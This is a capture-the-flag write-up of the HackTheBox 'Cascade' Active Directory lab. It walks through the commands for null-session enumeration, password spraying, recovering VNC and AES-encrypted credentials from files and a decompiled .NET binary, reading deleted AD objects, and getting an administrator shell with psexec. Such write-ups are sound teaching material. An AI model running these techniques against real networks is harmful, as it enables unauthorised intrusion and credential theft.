HTB Cascade CTF Writeup
Medium-rated Windows Active Directory box. LDAP null-bind enumeration uncovers a VNC password stored in a user attribute. A .NET assembly is reverse-engineered with ILSpy to recover an AES decryption key, and a deleted AD Recycle Bin account's password grants administrator access.
HTB Cascade CTF
Summary
Cascade is a Medium-difficulty Windows Active Directory machine focusing on LDAP enumeration and AD Recycle Bin abuse. Initial SMB and LDAP null authentication allows domain enumeration via BloodHound. A complete LDAP dump reveals a non-default cascadeLegacyPwd attribute for user r.thompson containing the base64-encoded password rY4n5eva. Authenticated SMB enumeration as r.thompson exposes a VNC registry file with an encrypted password for s.smith. The VNC password is decrypted using DES-CBC with a known key, yielding sT333ve2. As s.smith, access to the Audit$ share reveals CascAudit.exe, CascCrypto.dll, and an SQLite database containing encrypted credentials for arksvc. Reverse engineering the .NET binaries with ILSpy exposes hardcoded AES encryption keys and IV. Python is used to decrypt the password w3lc0meFr31nd for arksvc. As a member of the “AD Recycle Bin” group, arksvc can enumerate deleted AD objects via WinRM, revealing a deleted TempAdmin user with the cascadeLegacyPwd attribute set to baCT3r1aN00dles. This password is reused by the Administrator account, providing full domain compromise.
Service Enumeration
I ran:
1
nmap -A -oN scans/nmap.all -p- --min-rate 2500 -Pn -vv 10.129.42.19
With the following results:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-12-20 16:29:49Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack
636/tcp open tcpwrapped syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49154/tcp open msrpc syn-ack Microsoft Windows RPC
49155/tcp open msrpc syn-ack Microsoft Windows RPC
49157/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc syn-ack Microsoft Windows RPC
49165/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 50870/tcp): CLEAN (Timeout)
| Check 2 (port 13935/tcp): CLEAN (Timeout)
| Check 3 (port 22824/udp): CLEAN (Timeout)
| Check 4 (port 64531/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
| date: 2025-12-20T16:30:42
|_ start_date: 2025-12-20T15:47:39
|_clock-skew: 3s
| smb2-security-mode:
| 210:
|_ Message signing enabled and required
DNS Enumeration
I try a reverse DNS search with dig to see what domain points to 10.129.42.19:
1
dig -x 10.129.42.19 @10.129.42.19
But get no results. The nmap scan tells me the domain name is cascade.local, so I poke around with it. I try many things, including zone transfer:
1
2
3
4
5
$ dig axfr cascade.local @10.129.42.19
; <<>> DiG 9.18.41-1~deb12u1-Debian <<>> axfr cascade.local @10.129.42.19
;; global options: +cmd
; Transfer failed.
But it seems like there’s not much here.
SMB Enumeration
I try authenticating to the SMB server using null authentication (blank username, blank password):
1
nxc smb 10.129.42.19 -u '' -p ''
In the output, I see it contains a plus sign (+) indicating the authentication was successful:
1
[+] cascade.local\:
I take advantage of this by enumerating users:
1
nxc smb 10.129.42.19 -u '' -p '' --users
It works. It returns me a total of 15 users:
Just to make sure, I also perform a RID bruteforce with a high value to see if I can find more users:
1
nxc smb 10.129.42.19 -u '' -p '' --rid-brute 5000
Ultimately, this is how my users.txt file looks like:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
administrator
CascGuest
krbtgt
CASC-DC1$
arksvc
s.smith
r.thompson
util
j.wakefield
s.hickson
j.goodhand
a.turnbull
e.crowe
b.hanson
d.burman
BackupSvc
j.allen
i.croft
Unfortunately I can’t access shares with this low-level null authentication, so I pivot to try and obtain valid credentials.
Kerberos Enumeration
With this file full of valid usernames to the domain, I perform some kerberos enumeration. First, I try using the username as the password and see if there’s any low hanging fruit:
1
kerbrute passwordspray --user-as-pass --dc 10.129.42.19 -d cascade.local users.txt
Unfortunately, I get 0 hits. I try ASRepRoasting:
1
GetNPUsers.py -no-pass -usersfile users.txt cascade.local/
But no hits as well. There’s nothing here for now.
LDAP Enumeration
I notice how the LDAP server also accepts null authentication (which is specially odd to me):
1
nxc ldap 10.129.42.19 -u '' -p ''
Even though it’s a low-level access, I can try performing a kerberoast attack:
1
nxc ldap 10.129.42.19 -u '' -p '' --kerberoast k.log
I’ve seen cases where the admin put juicy data in the user’s description field. With that in mind, I enumerate for user descriptions:
1
nxc ldap 10.129.42.19 -u '' -p '' -M get-desc-users
But the only description I get is for the default CascGuest user.
I can use rusthound-ce to start enumerating the domain:
1
rusthound-ce -d cascade.local -z -u '' -p ''
It eventually saves the output to a zip archive in my current directory. I ingest this data into BloodhoundCE and start analyzing it.
AD Enumeration
One of the first things I like doing to begin the analysis with Bloodhound is to check which users can log in to the machine via WinRM (members from the Remote Management Users):
I see that this group has two members:
So now I have those two potential targets. I enumerate these, but they have no inbound object control (at least none that I know of, keeping in mind this scan was made using null authentication and it’s likely I don’t have permission to read some things in the domain). I notice how “arksvc” has membership in a group called “AD Recycle Bin”
Which is very interesting. This makes me think this user perhaps has access to deleted objects in the AD. I also see how s.smith is member of the “audit share” group:
So as s.smith, I should take a closer look at the SMB server. That’s about it from the initial bloodhound analysis, I couldn’t find anything else that’s useful.
Getting Desperate
I enumerated every single service, SMB, kerberos attacks, ldap access, AD enumeration, and ultimately I was stuck. I had no valid domain credentials.
I tried using the smb null authentication to coerce, and potentially obtain some hashes:
1
nxc smb 10.129.42.19 -u '' -p '' -M coerce_plus -o L=10.10.14.57
With responder set up on my machine:
1
python3 Responder.py -I tun0
But it never worked, I couldn’t coerce authentication with this level of access. I could try creating a custom wordlist with words I know from this environment, and potentially a hashcat rule as well to broaden the wordlist, but no… There’s nothing at all that indicates that’s the next move I’m supposed to do, I feel like this would be too much guessing.
There’s something in the back of my mind, telling me to dump the entire ldap database. Since I already enumerated possibly everything, this is one of the things I’d try last as well. I can potentially find a hidden user or even a user with non-default attributes that bloodhound enumeration misses.
Dump the entire LDAP domain:
1
ldapsearch -x -H ldap://10.129.42.19 -D '' -w '' -b "dc=cascade,dc=local" | tee scans/ldapsearch.log
It’s a massive output. I narrow down the search by filtering for users that actually logged in to the system in the past:
1
ldapsearch -x -b 'dc=cascade,dc=local' -H ldap://10.129.42.19 "(logonCount>=1)"
I look at the results, and find that the user “r.thompson” has a non-default attribute named cascadeLegacyPwd:
More specifically:
1
cascadeLegacyPwd: clk0bjVldmE=
It seems like this is base64-encoded. I decode it:
1
echo clk0bjVldmE= | base64 -d
And now I have the cleartext password for “r.thompson”. New credentials:
1
2
Username: r.thompson
Password: rY4n5eva
I save this password to “passwords.txt” and perform a password spray against the domain, just to make sure no one else uses this same password:
1
kerbrute passwordspray --dc 10.129.42.19 -d cascade.local users.txt rY4n5eva
But the only hit is for “r.thompson”.
Horizontal Privilege Escalation - s.smith
I use the credentials for “r.thompson” to enumerate the SMB server for shares:
1
nxc smb 10.129.42.19 -u r.thompson -p 'rY4n5eva' --shares
I see that r.thompson has access to the Data share. I mount this share locally:
1
sudo mount -o username=r.thompson,password=rY4n5eva //10.129.42.19/Data mount/
I search for files in the share:
1
sudo find mount/ -type f 2>/dev/null
It returns me the following files:
1
2
3
4
mount/IT/Email Archives/Meeting_Notes_June_2018.html
mount/IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log
mount/IT/Logs/DCs/dcdiag.log
mount/IT/Temp/s.smith/VNC Install.reg
I read through all the files, but the one that’s more interesting is: mount/IT/Temp/s.smith/VNC Install.reg. This file contains the following line:
1
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
Which, since it’s in s.smith folder, I can assume this is the password for s.smith. It’s in hex format though:
1
6bcf2a4b6e5aca0f
I try decoding it but only get a binary blob:
Which means this password is in a format I can’t yet understand, likely encrypted. I run the following to decrypt the VNC password (Reference):
1
echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -provider legacy -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv
This yields the cleartext password for s.smith:
1
2
Username: s.smith
Password: sT333ve2
I do the same password spray technique I did before with this newly discovered password:
1
kerbrute passwordspray --dc 10.129.42.19 -d cascade.local users.txt sT333ve2
But s.smith is the only valid login:
1
2025/12/21 14:59:55 > [+] VALID LOGIN: [email protected]:sT333ve2
Horizontal Privilege Escalation - arksvc
I enumerate the SMB server for shares now with the credentials for s.smith:
1
nxc smb 10.129.42.19 -u 's.smith' -p 'sT333ve2' --shares
And I see how s.smith has access to the “Audit$” share. I umount the previous share I had mounted:
1
sudo umount mount/
And mount the audit share:
1
sudo mount -o username=s.smith,password=sT333ve2 '//10.129.42.19/Audit$' mount/
Locate for files in the share:
1
udo find mount/ -type f 2>/dev/null
It returns the following results:
1
2
3
4
5
6
7
8
mount/CascAudit.exe
mount/CascCrypto.dll
mount/DB/Audit.db
mount/RunAudit.bat
mount/System.Data.SQLite.dll
mount/System.Data.SQLite.EF6.dll
mount/x64/SQLite.Interop.dll
mount/x86/SQLite.Interop.dll
The more interesting ones just from looking at it (those appear to be made on demand for this machine, the other ones appear to be default libraries for interacting with sqlite):
1
2
3
mount/CascAudit.exe
mount/CascCrypto.dll
mount/DB/Audit.db
I extract all the files from the share to my machine:
1
2
mkdir -p loot/audit
sudo find mount/ -type f -exec cp {} loot/audit/ \; 2>/dev/null
I connect to the Audit.db database:
1
sqlite3 Audit.db
And dump everything in it:
1
sqlite> .dump
As you can see from the screenshot below, there’s the credentials for user “arksvc”:
More specifically:
1
INSERT INTO Ldap VALUES(1,'ArkSvc','BQO5l5Kj9MdErXx6Q6AGOw==','cascade.local');
And the password seems to be base64-encoded (BQO5l5Kj9MdErXx6Q6AGOw==). I decode it:
1
echo BQO5l5Kj9MdErXx6Q6AGOw== | base64 -d
But it’s a binary blob
I need to understand how this password is saved. I use ILSpy to decompile the EXE executable:
1
~/hacking/tools/ILSpy/ICSharpCode.ILSpyCmd/bin/Debug/net10.0/ilspycmd /home/user/hacking/htb/machines/medium/cascade/loot/audit/CascAudit.exe > /home/user/hacking/htb/machines/medium/cascade/loot/audit/CascAudit.exe.cs
And decompile the DLL as well:
1
~/hacking/tools/ILSpy/ICSharpCode.ILSpyCmd/bin/Debug/net10.0/ilspycmd /home/user/hacking/htb/machines/medium/cascade/loot/audit/CascCrypto.dll > /home/user/hacking/htb/machines/medium/cascade/loot/audit/CascCrypto.dll.cs
It saves the source code to both the EXE and the DLL to:
1
2
/home/user/hacking/htb/machines/medium/cascade/loot/audit/CascAudit.exe.cs
/home/user/hacking/htb/machines/medium/cascade/loot/audit/CascCrypto.dll.cs
I start by looking at the source code for the EXE. I find this specific code block where it has the decryption key hardcoded:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
try
{
sQLiteConnection.Open();
SQLiteCommand sQLiteCommand = new SQLiteCommand("SELECT * FROM LDAP", sQLiteConnection);
try
{
SQLiteDataReader sQLiteDataReader = sQLiteCommand.ExecuteReader();
try
{
sQLiteDataReader.Read();
text = Conversions.ToString(sQLiteDataReader["Uname"]);
text2 = Conversions.ToString(sQLiteDataReader["Domain"]);
string encryptedString = Conversions.ToString(sQLiteDataReader["Pwd"]);
try
{
password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
}
catch (Exception ex)
{
ProjectData.SetProjectError(ex);
Exception ex2 = ex;
Console.WriteLine("Error decrypting password: " + ex2.Message);
ProjectData.ClearProjectError();
return;
}
}
finally
{
IDisposable disposable = sQLiteDataReader as IDisposable;
if (disposable != null)
{
disposable.Dispose();
}
}
}
finally
{
((IDisposable)(object)sQLiteCommand)?.Dispose();
}
sQLiteConnection.Close();
}
This line, more specifically:
1
password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
If I look at the decompiled code for the DLL, I see how the decryption function looks like:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static string DecryptString(string EncryptedString, string Key)
{
byte[] array = Convert.FromBase64String(EncryptedString);
Aes aes = Aes.Create();
aes.KeySize = 128;
aes.BlockSize = 128;
aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
aes.Mode = CipherMode.CBC;
aes.Key = Encoding.UTF8.GetBytes(Key);
using MemoryStream stream = new MemoryStream(array);
using CryptoStream cryptoStream = new CryptoStream(stream, aes.CreateDecryptor(), CryptoStreamMode.Read);
byte[] array2 = new byte[checked(array.Length - 1 + 1)];
cryptoStream.Read(array2, 0, array2.Length);
return Encoding.UTF8.GetString(array2);
}
It’s simply using AES with a hardcoded IV (1tdyjCbY1Ix49842). I can replicate this behavior using python:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import base64
import hashlib
from Crypto import Random
from Crypto.Cipher import AES
class AESCipher(object):
def __init__(self, key):
self.bs = 128
self.key = key.encode()
def encrypt(self, raw):
raw = self._pad(raw)
iv = b'1tdyjCbY1Ix49842'
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return base64.b64encode(iv + cipher.encrypt(raw.encode()))
def decrypt(self, enc):
enc = base64.b64decode(enc)
iv = b'1tdyjCbY1Ix49842'
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return AESCipher._unpad(cipher.decrypt(enc)).decode('utf-8')
def _pad(self, s):
return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs)
@staticmethod
def _unpad(s):
return s[:-ord(s[len(s)-1:])]
loader = AESCipher('c4scadek3y654321')
print(loader.decrypt('BQO5l5Kj9MdErXx6Q6AGOw=='))
I save the above script as “decrypt.py”. I run it, and it spits out the cleartext password for arksvc:
1
2
3
$ python3 decrypt.py
w3lc0meFr31nd
With that, new credentials:
1
2
Username: arksvc
Password: w3lc0meFr31nd
Once again I spray this password to make sure:
1
kerbrute passwordspray --dc 10.129.42.19 -d cascade.local users.txt w3lc0meFr31nd
But the only valid login is for arksvc:
1
2025/12/21 15:14:04 > [+] VALID LOGIN: [email protected]:w3lc0meFr31nd
Vertical Privilege Escalation: AD Deleted Objects
I log in to the machine using the credentials for arksvc:
1
evil-winrm -i 10.129.42.19 -u arksvc -p w3lc0meFr31nd
I already know that arksvc is member of the “AD Recycle Bin” group, which makes me go straight into enumerating AD deleted objects.
I import the ActiveDirectory module:
1
Import-Module ActiveDirectory
And search for deleted objects:
1
Get-ADObject -Filter 'IsDeleted -eq $true' -IncludeDeletedObjects -Properties *
It returns me a whole bunch of results. Among the results, I find one particularly interesting:
More specifically, the user with DN:
1
CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
Named “TempAdmin”. This user also contains a cascadeLegacyPwd attribute:
1
cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
I base64-decode this password:
1
echo YmFDVDNyMWFOMDBkbGVz | base64 -d | xc
Then I use this password to spray the domain with all the users:
1
nxc smb 10.129.42.19 -u users.txt -p 'baCT3r1aN00dles'
The very first result is a match for the Administrator user!
With that, new credentials:
1
2
Username: administrator
Password: baCT3r1aN00dles
I log in to the machine using psexec:
1
psexec.py administrator:[email protected]
It works, and now I have a shell with administrative rights on the machine!













